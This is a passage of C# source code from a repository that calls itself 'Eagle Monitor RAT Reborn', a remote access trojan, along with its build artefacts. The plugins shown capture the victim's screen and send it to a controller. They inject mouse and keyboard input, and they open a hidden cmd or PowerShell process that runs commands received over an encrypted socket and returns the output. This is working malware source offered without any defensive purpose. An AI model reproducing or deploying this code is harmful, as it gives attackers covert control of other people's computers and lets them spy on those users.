return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { sendDataAsync.EndInvoke(ar); } public void CaptureDesktop() { if (!hasToExit) captureDesktop.BeginInvoke(new AsyncCallback(EndDesktopPicture), null); else return; } public byte[] DesktopPicture() { return CaptureHelpers.Capture(Launch.remoteViewerBasePacket.width, Launch.remoteViewerBasePacket.height, Launch.remoteViewerBasePacket.quality, Launch.remoteViewerBasePacket.format, ref vResol, ref hResol); } public void EndDesktopPicture(IAsyncResult ar) { ar.AsyncWaitHandle.WaitOne(); byte[] desktopPicture = captureDesktop.EndInvoke(ar); ar.AsyncWaitHandle.Close(); RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON, this.baseIp, this.HWID) { desktopPicture = desktopPicture, hResol = hResol, vResol = vResol }; if (!hasToExit) { Thread.Sleep(Launch.remoteViewerBasePacket.timeMS); SendPacket(remoteViewerPacket); CaptureDesktop(); } else { Launch.clientHandler.Dispose(); return; } } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/Imports.cs ================================================ using System; using System.Drawing; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : QuasarRAT || */ namespace Plugin { internal class Imports { #region "user32" private const string user32 = "user32.dll"; [DllImport(user32)] internal static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); [DllImport(user32)] internal static extern bool GetCursorInfo(ref CURSORINFOHELPER pci); [DllImport(user32)] internal static extern bool GetCursorPos(out Point lpPoint); [StructLayout(LayoutKind.Sequential)] internal struct CURSORINFOHELPER { public Int32 cbSize; public Int32 flags; public IntPtr hCursor; public Point ptScreenPos; } internal const int INPUT_MOUSE = 0; internal const int INPUT_KEYBOARD = 1; internal const uint MOUSEEVENTF_LEFTDOWN = 0x0002; internal const uint MOUSEEVENTF_LEFTUP = 0x0004; internal const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; internal const uint MOUSEEVENTF_RIGHTUP = 0x0010; internal const uint MOUSEEVENTF_WHEEL = 0x0800; internal const uint KEYEVENTF_KEYDOWN = 0x0000; internal const uint KEYEVENTF_KEYUP = 0x0002; internal const uint MOUSEEVENTF_MIDDLEDOWN = 0x0020; internal const uint MOUSEEVENTF_MIDDLEUP = 0x0040; [DllImport(user32)] internal static extern IntPtr GetMessageExtraInfo(); [DllImport(user32)] internal static extern uint SendInput(uint nInputs,[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, int cbSize); [StructLayout(LayoutKind.Sequential)] internal struct INPUT { internal uint type; internal InputUnion u; internal static int Size => Marshal.SizeOf(typeof(INPUT)); } [StructLayout(LayoutKind.Explicit)] internal struct InputUnion { [FieldOffset(0)] internal MOUSEINPUT mi; [FieldOffset(0)] internal KEYBDINPUT ki; [FieldOffset(0)] internal HARDWAREINPUT hi; } [StructLayout(LayoutKind.Sequential)] internal struct MOUSEINPUT { internal int dx; internal int dy; internal int mouseData; internal uint dwFlags; internal uint time; internal IntPtr dwExtraInfo; } [StructLayout(LayoutKind.Sequential)] internal struct KEYBDINPUT { internal ushort wVk; internal ushort wScan; internal uint dwFlags; internal uint time; internal IntPtr dwExtraInfo; } [StructLayout(LayoutKind.Sequential)] internal struct HARDWAREINPUT { public uint uMsg; public ushort wParamL; public ushort wParamH; } [DllImport(user32)] internal static extern bool SetCursorPos(int x, int y); #endregion } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/KeyboardHelper.cs ================================================ using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : QuasarRAT || */ namespace Plugin { internal class KeyboardHelper { internal static void KeyPress(byte key, bool keyDown) { Imports.INPUT[] inputs = { new Imports.INPUT { type = Imports.INPUT_KEYBOARD, u = new Imports.InputUnion { ki = new Imports.KEYBDINPUT { wVk = key, wScan = 0, dwFlags = keyDown ? Imports.KEYEVENTF_KEYDOWN : Imports.KEYEVENTF_KEYUP, dwExtraInfo = Imports.GetMessageExtraInfo() } } } }; Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT))); } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; internal static RemoteViewerPacket remoteViewerBasePacket; public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.RM_VIEW_ON: remoteViewerBasePacket = (RemoteViewerPacket)loadingAPI.CurrentPacket; clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandler.ConnectStart(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/MouseHelper.cs ================================================ using System.Drawing; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : QuasarRAT || */ namespace Plugin { internal class MouseHelper { internal static void MouseLeftClick(Point p, bool isMouseDown) { Imports.INPUT[] inputs = { new Imports.INPUT { type = Imports.INPUT_MOUSE, u = new Imports.InputUnion { mi = new Imports.MOUSEINPUT { dx = p.X, dy = p.Y, mouseData = 0, dwFlags = isMouseDown ? Imports.MOUSEEVENTF_LEFTDOWN : Imports.MOUSEEVENTF_LEFTUP, time = 0, dwExtraInfo = Imports.GetMessageExtraInfo() } } } }; Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT))); } internal static void MiddleMouseClick(Point p, bool isMouseDown) { Imports.INPUT[] inputs = { new Imports.INPUT { type = Imports.INPUT_MOUSE, u = new Imports.InputUnion { mi = new Imports.MOUSEINPUT { dx = p.X, dy = p.Y, mouseData = 0, dwFlags = isMouseDown ? Imports.MOUSEEVENTF_MIDDLEDOWN : Imports.MOUSEEVENTF_MIDDLEUP, time = 0, dwExtraInfo = Imports.GetMessageExtraInfo() } } } }; Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT))); } internal static void MouseRightClick(Point p, bool isMouseDown) { Imports.INPUT[] inputs = { new Imports.INPUT { type = Imports.INPUT_MOUSE, u = new Imports.InputUnion { mi = new Imports.MOUSEINPUT { dx = p.X, dy = p.Y, mouseData = 0, dwFlags = isMouseDown ? Imports.MOUSEEVENTF_RIGHTDOWN : Imports.MOUSEEVENTF_RIGHTUP, time = 0, dwExtraInfo = Imports.GetMessageExtraInfo() } } } }; Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT))); } internal static void MouseScroll(Point p, bool scrollDown) { Imports.INPUT[] inputs = { new Imports.INPUT { type = Imports.INPUT_MOUSE, u = new Imports.InputUnion { mi = new Imports.MOUSEINPUT { dx = p.X, dy = p.Y, mouseData = scrollDown ? -120 : 120, dwFlags = Imports.MOUSEEVENTF_WHEEL, time = 0, dwExtraInfo = Imports.GetMessageExtraInfo() } } } }; Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT))); } internal static void MouseMove(Point p) { Imports.SetCursorPos(p.X, p.Y); } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("RemoteDesktop")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("RemoteDesktop")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("5389698f-e221-466d-8682-8f289c44f1dd")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/RemoteDesktop.csproj ================================================  Debug AnyCPU {5389698F-E221-466D-8682-8F289C44F1DD} Library Properties Plugin RemoteDesktop v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 true {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.CoreCompileInputs.cache ================================================ 569f50a7cb10757293d82fa4927798d72b1f8e97 ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\RemoteDesktop.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\RemoteDesktop.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Debug\RemoteDesktop.dll ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache ================================================ a2e2cbf0cdbe0b606d0a71b913102b4aca64fb6f ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\RemoteDesktop.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\RemoteDesktop.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteDesktop.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteDesktop.dll C:\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteDesktop.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteDesktop.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteDesktop.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteDesktop\obj\Release\RemoteDesktop.dll ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteDesktop/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs ================================================ using PacketLib.Packet; using PacketLib.Utils; using PacketLib; using System.IO; using System.Net.Sockets; using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool hasToExit { get; set; } private bool isPWS { get; set; } private delegate bool ConnectAsync(); private delegate PacketType SendDataAsync(IPacket data); private ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; private delegate byte[] ReadDataAsync(); private delegate IPacket ReadPacketAsync(byte[] BufferPacket); private ReadDataAsync readDataAsync; private ReadPacketAsync readPacketAsync; private ShellHander shellHander; public ClientHandler(Host host, string key, string baseIp, string HWID, bool isPWS) : base() { this.hasToExit = false; this.host = host; this.key = key; this.HWID = HWID; this.baseIp = baseIp; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); this.isPWS = isPWS; } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (hasToExit) { return; } if (!Connected) { ConnectStart(); } else { shellHander = new ShellHander(this.isPWS); StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(this.isPWS) { BaseIp = this.baseIp, HWID = this.HWID }; this.SendPacket(startShellSessionPacket); Receive(); } } public void Receive() { if (hasToExit) { this.shellHander.Dispose(); this.Dispose(); return; } if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { try { return BufferPacket.DeserializePacket(this.key); } catch (Exception) { return null; } } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); if (packet != null) ParsePacket(packet); } public void ParsePacket(IPacket packet) { switch (packet.PacketType) { case PacketType.SHELL_COMMAND: NewCommandShellSessionPacket newCommandShellSessionPacket = (NewCommandShellSessionPacket)packet; this.shellHander.ExecuteCommand(newCommandShellSessionPacket.shellCommand); break; case PacketType.SHELL_STOP: hasToExit = true; break; } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private PacketType SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return data.PacketType; } catch (Exception) { Connected = false; } } return data.PacketType; } private void SendDataCompleted(IAsyncResult ar) { sendDataAsync.EndInvoke(ar); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.SHELL_START: clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID, ((StartShellSessionPacket)loadingAPI.CurrentPacket).isPWS); clientHandler.ConnectStart(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("RemoteShell")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("RemoteShell")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("417f720d-e20b-4ebd-bb31-fd3e4c630fad")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/RemoteShell.csproj ================================================  Debug AnyCPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD} Library Properties Plugin RemoteShell v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/ShellHander.cs ================================================ using PacketLib.Packet; using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Text; using System.Threading; /* || AUTHOR Arsium | quasar || || github : https://github.com/arsium || || From : https://github.com/quasar/Quasar/blob/master/Quasar.Client/IO/Shell.cs || */ namespace Plugin { internal class ShellHander : IDisposable { internal ShellHander(bool isPWS) { this.isPWS = isPWS; } private bool isPWS { get; set; } private Process _prc; private bool _read; private readonly object _readLock = new object(); private readonly object _readStreamLock = new object(); private Encoding _encoding; private StreamWriter _inputWriter; private void CreateSession() { lock (_readLock) { _read = true; } var cultureInfo = CultureInfo.InstalledUICulture; _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); _prc = new Process { StartInfo = isPWS ? new ProcessStartInfo("powershell") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, StandardOutputEncoding = _encoding, StandardErrorEncoding = _encoding, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), } : new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, StandardOutputEncoding = _encoding, StandardErrorEncoding = _encoding, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), Arguments = $"/K CHCP {_encoding.CodePage}" } }; _prc.Start(); RedirectIO(); } private void RedirectIO() { _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); new Thread(RedirectStandardOutput).Start(); new Thread(RedirectStandardError).Start(); } private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) { lock (_readStreamLock) { var streamBuffer = new StringBuilder(); streamBuffer.Append((char)firstCharRead); // While there are more characters to be read while (streamReader.Peek() > -1) { // Read the character in the queue var ch = streamReader.Read(); // Accumulate the characters read in the stream buffer streamBuffer.Append((char)ch); if (ch == '\n') SendAndFlushBuffer(ref streamBuffer, isError); } // Flush any remaining text in the buffer SendAndFlushBuffer(ref streamBuffer, isError); } } private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) { if (textBuffer.Length == 0) return; var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); if (string.IsNullOrEmpty(toSend)) return; StdOutShellSessionPacket stdOutShellSession = new StdOutShellSessionPacket(toSend) { BaseIp = Launch.clientHandler.baseIp, HWID = Launch.clientHandler.HWID }; lock (textBuffer) { //fix display server console with lock + sleep Launch.clientHandler.SendPacket(stdOutShellSession); Thread.Sleep(1); } textBuffer.Clear(); } private void RedirectStandardOutput() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) { ReadStream(ch, _prc.StandardOutput, false); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { CreateSession(); } } } private void RedirectStandardError() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) { ReadStream(ch, _prc.StandardError, true); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { CreateSession(); } } } public bool ExecuteCommand(string command) { if (_prc == null || _prc.HasExited) { try { CreateSession(); } catch (Exception) { return false; } } _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); _inputWriter.Flush(); return true; } private string ConvertEncoding(Encoding sourceEncoding, string input) { var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); return Encoding.UTF8.GetString(utf8Text); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_readLock) { _read = false; } if (_prc == null) return; if (!_prc.HasExited) { try { _prc.Kill(); } catch { } } if (_inputWriter != null) { _inputWriter.Close(); _inputWriter = null; } _prc.Dispose(); _prc = null; } } } } ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.CoreCompileInputs.cache ================================================ ea63fe10f09e3b80c782a888e5ea38029b453d59 ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/obj/Release/RemoteShell.csproj.FileListAbsolute.txt ================================================ E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\RemoteShell.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\RemoteShell\obj\Release\RemoteShell.dll ================================================ FILE: Remote Access Tool/Plugins/RemoteShell/obj/Release/_IsIncrementalBuild ================================================ 